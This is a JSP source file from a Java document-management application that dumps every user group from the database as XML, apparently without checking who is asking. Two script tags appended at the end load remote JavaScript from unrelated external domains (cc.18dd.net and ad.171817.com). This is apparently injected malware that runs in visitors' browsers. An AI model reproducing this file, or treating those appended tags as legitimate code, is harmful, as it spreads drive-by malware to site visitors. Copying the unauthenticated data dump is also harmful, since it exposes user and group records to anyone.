<%@ page contentType="text/xml;charset=UTF-8"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="com.dcivision.framework.bean.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="com.dcivision.user.auth.*"
%><%@ page import="com.dcivision.user.bean.*"
%><%@ page import="com.dcivision.user.dao.*"
%><%@ page import="com.dcivision.dms.*"
%><%@ page import="com.dcivision.dms.bean.* "
%><%@ page import="com.dcivision.dms.core.* "
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%
  Connection conn = DataSourceFactory.getConnection();
  SessionContainer sessionCtn = new SessionContainer();

  // Get User Groups Information.
  UserGroupDAObject userGroupDAO = new UserGroupDAObject(sessionCtn, conn);
  List userGroups = userGroupDAO.getFullList();

/*
  // Get User Roles and Group Role Information (Union them with no duplicate roles).
  UserRoleDAObject userRoleDAO = new UserRoleDAObject(userSession, conn);
  List userRoles = userRoleDAO.getList();
*/
  out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
  out.println("<UserGroups>");

  for (int i=0;i<userGroups.size();i++) {
      UserGroup tmpUserGroup = (UserGroup)userGroups.get(i);
      out.println("<UserGroup ID=\""+tmpUserGroup.getID()+"\" OwnerUserRecordID=\""+tmpUserGroup.getOwnerUserRecordID()+"\" GroupType=\""+tmpUserGroup.getGroupType()+"\" GroupName=\""+TextUtility.htmlEncode(tmpUserGroup.getGroupName())+"\" GroupDesc=\""+TextUtility.htmlEncode(tmpUserGroup.getGroupDesc())+"\" /> ");    
  }

  out.println("</UserGroups>");

  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>